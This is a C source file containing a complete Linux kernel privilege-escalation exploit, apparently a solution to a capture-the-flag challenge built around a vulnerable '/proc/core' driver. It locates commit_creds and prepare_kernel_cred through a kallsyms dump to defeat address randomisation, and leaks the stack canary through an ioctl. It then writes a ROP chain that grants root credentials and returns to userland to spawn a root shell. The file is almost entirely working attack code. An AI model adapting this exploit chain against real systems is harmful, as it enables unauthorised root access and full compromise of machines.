#include <assert.h> #include <fcntl.h> #include <stddef.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h>
size_t init_cred = 0; size_t commit_creds = 0, prepare_kernel_cred = 0; size_t vmlinux_base = 0, bias; size_t raw_base = 0xffffffff81000000; size_t find_symbols() { FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r"); if (kallsyms_fd < 0) { puts("[*]open kallsyms error!"); exit(0); } char buf[0x30] = {0}; while (fgets(buf, 0x30, kallsyms_fd)) { if (commit_creds & prepare_kernel_cred) break; if (strstr(buf, "commit_creds") && !commit_creds) { char hex[20] = {0}; strncpy(hex, buf, 16); sscanf(hex, "%zx", &commit_creds); printf("commit_creds addr: %p\n", commit_creds); vmlinux_base = commit_creds - 0x9c8e0; printf("vmlinux_base addr: %p\n", vmlinux_base); }
if (strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) { char hex[20] = {0}; strncpy(hex, buf, 16); sscanf(hex, "%zx", &prepare_kernel_cred); printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred); assert(vmlinux_base == (prepare_kernel_cred - 0x9cce0)); } } bias = vmlinux_base - raw_base; if (!(prepare_kernel_cred & commit_creds)) { puts("[*]Error!"); exit(0); } return 0; } void spawn_shell() { if (!getuid()) { system("/bin/sh"); } else { puts("[*]spawn shell error!"); } exit(0); } size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;"); puts("[*]status has been saved."); } void getRootPrivilige(void) { void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred; int (*commit_creds_ptr)(void *) = commit_creds; (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL)); } int main() { int fd = open("/proc/core", 2); if (fd < 0) { puts("[*]open /proc/core error!"); exit(0); } find_symbols(); init_cred = 0xFFFFFFFF8223D1A0 +bias; ioctl(fd, 0x6677889C, 0x40); size_t canary[0x40] = {0}; ioctl(fd, 0x6677889B, canary); printf("[+]canary: %p\n", canary[0]); size_t rop[0x1000] = {0}; int i; for (i = 0; i < 10; i++) { rop[i] = canary[0]; } save_status();
rop[i++] = (size_t)getRootPrivilige; rop[i++] = 0xffffffff81a012da + bias; rop[i++] = 0; rop[i++] = 0xffffffff81050ac2+bias; rop[i++] = (size_t)spawn_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; write(fd, rop, 0x800); ioctl(fd, 0x6677889A, 0xffffffffffff0000 | (0x100)); return 0; }
|